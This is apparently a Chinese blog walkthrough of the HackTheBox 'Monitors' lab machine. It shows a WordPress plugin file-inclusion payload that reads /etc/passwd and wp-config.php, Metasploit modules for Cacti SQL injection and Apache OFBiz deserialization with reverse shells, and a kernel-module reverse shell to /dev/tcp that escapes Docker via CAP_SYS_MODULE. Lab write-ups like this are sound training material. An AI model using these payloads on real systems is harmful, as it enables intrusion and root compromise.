HackTheBox-Monitors WP

0x01 端口探测


使用nmap对靶机端口进行探测:

nmap -sC -sV -v 10.10.10.238

发现只有两个端口是开着的:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


0x02 Webshell

首先访问IP,发现不允许连接。并发现域名monitors.htb

image-20211021152549320



将域名插入/etc/hosts

image-20211021152826764



再次访问,得到如下界面:

image-20211021152932948



发现是wordpress,使用wpscan对该站点进行扫描,发现其安装了一带漏洞的插件,可以进行文件包含。

image-20211021153658421



payload如下:

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

image-20211021153800984



首先可以读一下数据库配置文件:

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php

image-20211021154115673



拿到数据库凭据信息:

/** MySQL database username */
define( 'DB_USER', 'wpadmin' );

/** MySQL database password */
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );

尝试使用该用户名密码登录WordPress后台,未果。

遂尝试从文件包含收集信息,最终发现在apache的默认站点配置文件下发现一个域名:

image-20211022164711627



cacti-admin.monitors.htb

同样将该站点插入/etc/hosts中,访问该站点:

image-20211022165026897



查一下历史漏洞,发现cacti存在SQL注入漏洞:

image-20211022165239967



尝试利用的时候发现上面通过文件包含拿到的密码可以成功登录,于是直接以admin:BestAdministrator@2020!成功登录

image-20211022170316583



尝试寻找上传点,未果。再次尝试寻找RCE,发现Metasploit已经提供了成熟的利用模块:

image-20211022193417078



配置好参数,一发入魂:

msf6 exploit(unix/http/cacti_filter_sqli_rce) > show options 

Module options (exploit/unix/http/cacti_filter_sqli_rce):

   Name       Current Setting           Required  Description
   ----       ---------------           --------  -----------
   CREDS      true                      no        Dump cacti creds
   PASSWORD   admin                     no        Password to login with
   Proxies                              no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     cacti-admin.monitors.htb  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80                        yes       The target port (TCP)
   SSL        false                     no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /cacti/                   yes       The URI of Cacti
   USERNAME   admin                     yes       User to login with
   VHOST                                no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.16.8       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

image-20211022193752191




0x03 User Shell

home目录下只有marcus一个用户,查看目录可以发现有个.backup文件夹

image-20211022212055574

但是这个权限设置的比较有意思,我们无法查看文件夹里面的文件。



image-20211022212406247


无奈之下尝试在其他目录找找线索。一番搜索后发现etc目录下有关键的信息:

grep -R marcus /etc 2>/dev/null #这里注意是-R不是-r,-r搜不到

image-20211022213930674


查看该文件能够找到一个密码:

image-20211022214302879



VerticalEdge2020

尝试使用该密码连接ssh,成功拿到用户marcus的shell:

image-20211022214559726




0x04 Root Shell

marcus的home目录下有一个note.txt。查看发现是与docker相关的信息:

image-20211022214643649


使用ps命令查找相关进程,发现8443端口起了另一个服务,且只允许本地连接:

ps aux | grep docker

image-20211022214819735


image-20211022215459777



使用SSH作端口转发

ssh -L 8443:localhost:8443 marcus@10.10.10.238

访问本地8443端口,发现是个tomcat:

image-20211022215013266



扫目录发现apache ofbiz

image-20211022222043515


上网找CVE,搜索发现msf直接集成了exp,遂直接使用:

use exploit/linux/http/apache_ofbiz_deserialization
set payload linux/x64/meterpreter/reverse_tcp
set rhosts localhost
set lhost 10.10.14.8
set lport 4567
set ForceExploit true
exploit

image-20211023100322197



image-20211023100351733

接下来是docker容器逃逸,关于这方面的知识可以看看90sec Team写的一篇文章

在这个环境中,是利用了CAP_SYS_MODULE的错误配置完成逃逸,首先使用capsh命令查看capabilities:

capsh --print

发现具有CAP_SYS_MODULE权限:

image-20211023102029601



利用过程如下,首先创建两个文件:

reverse-shell.c

#include <linux/kmod.h>
#include <linux/module.h>
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.1/4444 0>&1", NULL}; //这里填宿主机IP
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Makefile

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

将上述文件下载到docker容器中,之后在宿主机启动nc进行监听:

nc -lvvp 4444

image-20211023111315801



在容器中编译并插入恶意模块:

make
insmod reverse-shell.ko

即可成功逃逸,拿到root的宿主机shell:

image-20211023122128078

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

h1nt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值